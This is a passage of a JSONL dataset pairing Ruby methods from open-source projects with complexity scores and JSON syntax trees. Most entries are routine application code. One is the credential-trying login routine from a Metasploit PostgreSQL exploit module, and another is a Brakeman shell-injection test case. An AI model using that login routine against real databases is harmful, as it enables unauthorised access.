end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"generic_objects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_resources\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_type\"]},{\"type\":\"str\",\"children\":[\"GenericObject\"]}]}]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"resource\"]}]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource\"]}]}]}]}","id":"f2d29865-3342-4741-a331-686c304e73bc"} {"repo_name":"openproject","file_path":"./repos/openproject/app/policies/base_policy.rb","start_line":38,"raw_source":"def actions(wp)\n cache[wp].each_with_object([]) { |(k, v), a| a << k if v }\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"actions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wp\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"wp\"]}]},\"each_with_object\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"k\"]}]},null]}]}]}","id":"7a90d775-aa9f-4108-86b0-0b266e5c2795"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/job_artifact.rb","start_line":248,"raw_source":"def each_blob(&blk)\n if junit? && artifact_report.nil?\n build_artifact_report(status: :validated, validation_error: nil, project_id: project_id)\n end\n\n super\n rescue InvalidArtifactError => e\n artifact_report&.assign_attributes(status: :faulty, validation_error: e.message)\n\n raise e\n ensure\n artifact_report&.save! if persisted?\n end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"each_blob\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"junit?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"artifact_report\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[null,\"build_artifact_report\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"validated\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validation_error\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project_id\"]}]}]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InvalidArtifactError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"artifact_report\"]},\"assign_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"faulty\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validation_error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"persisted?\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"artifact_report\"]},\"save!\"]},null]}]}]}","id":"ca92a50a-8e05-4ce5-91b3-8ed88237694a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage/event_selection_rule.rb","start_line":93,"raw_source":"def hash\n [name, time_framed?, filter, unique_identifier_name, operator].hash\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"send\",\"children\":[null,\"time_framed?\"]},{\"type\":\"send\",\"children\":[null,\"filter\"]},{\"type\":\"send\",\"children\":[null,\"unique_identifier_name\"]},{\"type\":\"send\",\"children\":[null,\"operator\"]}]},\"hash\"]}]}","id":"b13fc871-c398-4891-b0e3-482bbab02ebb"} {"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/orders_controller.rb","start_line":132,"raw_source":"def destroy_service\n Spree::Api::Dependencies.platform_order_destroy_service.constantize\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"platform_order_destroy_service\"]},\"constantize\"]}]}","id":"1950927b-94bf-46e3-beab-971113de233c"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/second_factor/auth_manager.rb","start_line":164,"raw_source":"def allow_backup_codes!\n add_method(UserSecondFactor.methods[:backup_codes])\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_backup_codes!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_method\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserSecondFactor\"]},\"methods\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"backup_codes\"]}]}]}]}","id":"4f4a4c16-fac0-48e9-a99e-21a9ede1844d"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/common/view.rb","start_line":180,"raw_source":"def apply_font(name: nil, font_style: nil, size: nil)\n name ||= document.font.basename.split(\"-\").first # e.g. NotoSans-Bold => NotoSans\n font_opts = {}\n font_opts[:style] = font_style if font_style\n\n document.font name, font_opts\n document.font_size size if size\n\n document.font\n end","complexity_score":18.9,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_font\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"font_style\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"size\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"document\"]},\"font\"]},\"basename\"]},\"split\",{\"type\":\"str\",\"children\":[\"-\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"font_opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"font_style\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"font_opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"style\"]},{\"type\":\"lvar\",\"children\":[\"font_style\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"document\"]},\"font\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"font_opts\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"document\"]},\"font_size\",{\"type\":\"lvar\",\"children\":[\"size\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"document\"]},\"font\"]}]}]}","id":"cc5f0705-6496-482d-b4db-6a76419f973d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/trigger-build.rb","start_line":215,"raw_source":"def variables\n hash = without_trigger_vars(super.dup)\n\n unless skip_redundant_jobs?\n logger.info(\"Skipping redundant jobs is disabled, skipping existing container image check\")\n return hash\n end\n\n hash.merge({\n **deploy_component_tag_variables,\n 'SKIP_IMAGE_TAGGING' => \"true\",\n 'SKIP_JOB_REGEX' => skip_job_regex,\n 'DEBIAN_IMAGE' => debian_image,\n 'DEBIAN_DIGEST' => debian_image.split('@').last,\n 'DEBIAN_BUILD_ARGS' => \"--build-arg DEBIAN_IMAGE=#{ENV['GITLAB_DEPENDENCY_PROXY']}#{debian_image}\",\n 'ALPINE_IMAGE' => alpine_image,\n 'ALPINE_DIGEST' => alpine_image.split('@').last,\n 'ALPINE_BUILD_ARGS' => \"--build-arg ALPINE_IMAGE=#{ENV['GITLAB_DEPENDENCY_PROXY']}#{alpine_image}\"\n })\n rescue TriggerRefBranchCreationFailed => e\n # raise if pipeline runs in MR that updates ref to make sure branch for trigger is created\n raise(e) if ref_update_mr?\n\n logger.error(\"Error while creating trigger ref branch, err: #{e.message}\")\n logger.error(e.backtrace.join(\"\\n\"))\n logger.error(\"Falling back to default variables\")\n without_trigger_vars(super.dup)\n rescue StandardError => e\n # if skipping redundant jobs is enabled and fetching jobs to skip failed, attempt fallback to default variables\n raise(e) unless skip_redundant_jobs?\n\n logger.error(\"Error while calculating variables, err: #{e.message}\")\n logger.error(e.backtrace.join(\"\\n\"))\n logger.error(\"Falling back to default variables\")\n hash\n end","complexity_score":66.2,"ast_json":"{\"type\":\"def\",\"children\":[\"variables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[null,\"without_trigger_vars\",{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"dup\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_redundant_jobs?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"Skipping redundant jobs is disabled, skipping existing container image check\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deploy_component_tag_variables\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SKIP_IMAGE_TAGGING\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SKIP_JOB_REGEX\"]},{\"type\":\"send\",\"children\":[null,\"skip_job_regex\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DEBIAN_IMAGE\"]},{\"type\":\"send\",\"children\":[null,\"debian_image\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DEBIAN_DIGEST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"debian_image\"]},\"split\",{\"type\":\"str\",\"children\":[\"@\"]}]},\"last\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DEBIAN_BUILD_ARGS\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--build-arg DEBIAN_IMAGE=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITLAB_DEPENDENCY_PROXY\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"debian_image\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ALPINE_IMAGE\"]},{\"type\":\"send\",\"children\":[null,\"alpine_image\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ALPINE_DIGEST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alpine_image\"]},\"split\",{\"type\":\"str\",\"children\":[\"@\"]}]},\"last\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ALPINE_BUILD_ARGS\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--build-arg ALPINE_IMAGE=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITLAB_DEPENDENCY_PROXY\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alpine_image\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TriggerRefBranchCreationFailed\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ref_update_mr?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error while creating trigger ref branch, err: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"str\",\"children\":[\"Falling back to default variables\"]}]},{\"type\":\"send\",\"children\":[null,\"without_trigger_vars\",{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"dup\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_redundant_jobs?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error while calculating variables, err: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"str\",\"children\":[\"Falling back to default variables\"]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]},null]}]}","id":"36cab0cd-6834-44b3-9e87-392d255df2b9"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/ci/auth_job_finder.rb","start_line":52,"raw_source":"def find_from_database_token\n if use_partition_pruning?\n partition_id = ::Ci::Builds::TokenPrefix.decode_partition(token)\n job = ::Ci::Build.in_partition(partition_id).find_by_token(token) if partition_id.present?\n return job if job\n end\n\n ::Ci::Build.find_by_token(token)\n end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_from_database_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_partition_pruning?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"partition_id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Builds\"]},\"TokenPrefix\"]},\"decode_partition\",{\"type\":\"send\",\"children\":[null,\"token\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition_id\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"job\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Build\"]},\"in_partition\",{\"type\":\"lvar\",\"children\":[\"partition_id\"]}]},\"find_by_token\",{\"type\":\"send\",\"children\":[null,\"token\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]}]},null]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Build\"]},\"find_by_token\",{\"type\":\"send\",\"children\":[null,\"token\"]}]}]}]}","id":"de79970f-1e8a-4551-922e-1de510a7424e"} {"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/sort_helper.rb","start_line":148,"raw_source":"def add(*)\n r = self.class.new.from_param(to_param)\n r.add!(*)\n r\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"new\"]},\"from_param\",{\"type\":\"send\",\"children\":[null,\"to_param\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"add!\",{\"type\":\"forwarded_restarg\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"r\"]}]}]}","id":"0bd434db-00e9-4289-a87c-cb561441131e"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/rails/devcontainer/devcontainer_generator.rb","start_line":37,"raw_source":"def create_devcontainer\n empty_directory \".devcontainer\"\n\n template \"devcontainer/devcontainer.json\", \".devcontainer/devcontainer.json\"\n template \"devcontainer/Dockerfile\", \".devcontainer/Dockerfile\"\n template \"devcontainer/compose.yaml\", \".devcontainer/compose.yaml\"\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_devcontainer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"empty_directory\",{\"type\":\"str\",\"children\":[\".devcontainer\"]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"devcontainer/devcontainer.json\"]},{\"type\":\"str\",\"children\":[\".devcontainer/devcontainer.json\"]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"devcontainer/Dockerfile\"]},{\"type\":\"str\",\"children\":[\".devcontainer/Dockerfile\"]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"devcontainer/compose.yaml\"]},{\"type\":\"str\",\"children\":[\".devcontainer/compose.yaml\"]}]}]}]}","id":"e2912811-121a-45d4-9f34-e497b7f7ea98"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails5.2/lib/shell.rb","start_line":40,"raw_source":"def interpolated_conditional_safe\n `echo #{\"foo\" if foo} bar`\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"interpolated_conditional_safe\",{\"type\":\"args\",\"children\":[]},{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"foo\"]},{\"type\":\"str\",\"children\":[\"foo\"]},null]}]},{\"type\":\"str\",\"children\":[\" bar\"]}]}]}","id":"1833d42c-ac8d-47f5-90ff-c6e3840bc05b"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/postgres/postgres_payload.rb","start_line":127,"raw_source":"def do_login(user = nil, pass = nil, database = nil)\n password = pass || postgres_password\n vprint_status(\"Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}\") unless postgres_conn\n result = postgres_fingerprint(\n db: database,\n username: user,\n password: password\n )\n if result[:auth]\n report_service(\n host: postgres_conn.peerhost,\n port: postgres_conn.peerport,\n name: 'postgres',\n info: result.values.first\n )\n return result[:auth]\n else\n print_error(\"Login failed, fingerprint is #{result[:preauth] || result[:unknown]}\")\n return :noauth\n end\n rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError\n return :noconn\n end","complexity_score":38.6,"ast_json":"{\"type\":\"def\",\"children\":[\"do_login\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"pass\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"database\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},{\"type\":\"send\",\"children\":[null,\"postgres_password\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"postgres_conn\"]},null,{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"postgres_fingerprint\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db\"]},{\"type\":\"lvar\",\"children\":[\"database\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"auth\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"postgres_conn\"]},\"peerhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"postgres_conn\"]},\"peerport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"postgres\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"values\"]},\"first\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"auth\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Login failed, fingerprint is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"preauth\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"unknown\"]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"noauth\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"noconn\"]}]}]},null]}]}","id":"5214d4fa-0e59-4d12-b6e3-573cface5dc8"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb","start_line":1247,"raw_source":"def remove_foreign_key(from_table, to_table = nil, **options)\n return unless use_foreign_keys?\n return if options.delete(:if_exists) == true && !foreign_key_exists?(from_table, to_table, **options.slice(:column))\n\n fk_name_to_delete = foreign_key_for!(from_table, to_table: to_table, **options).name\n\n at = create_alter_table from_table\n at.drop_foreign_key fk_name_to_delete\n\n execute schema_creation.accept(at)\n end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_foreign_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from_table\"]},{\"type\":\"optarg\",\"children\":[\"to_table\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_foreign_keys?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"if_exists\"]}]},\"==\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"foreign_key_exists?\",{\"type\":\"lvar\",\"children\":[\"from_table\"]},{\"type\":\"lvar\",\"children\":[\"to_table\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"column\"]}]}]}]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"fk_name_to_delete\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"foreign_key_for!\",{\"type\":\"lvar\",\"children\":[\"from_table\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_table\"]},{\"type\":\"lvar\",\"children\":[\"to_table\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},\"name\"]}]},{\"type\":\"lvasgn\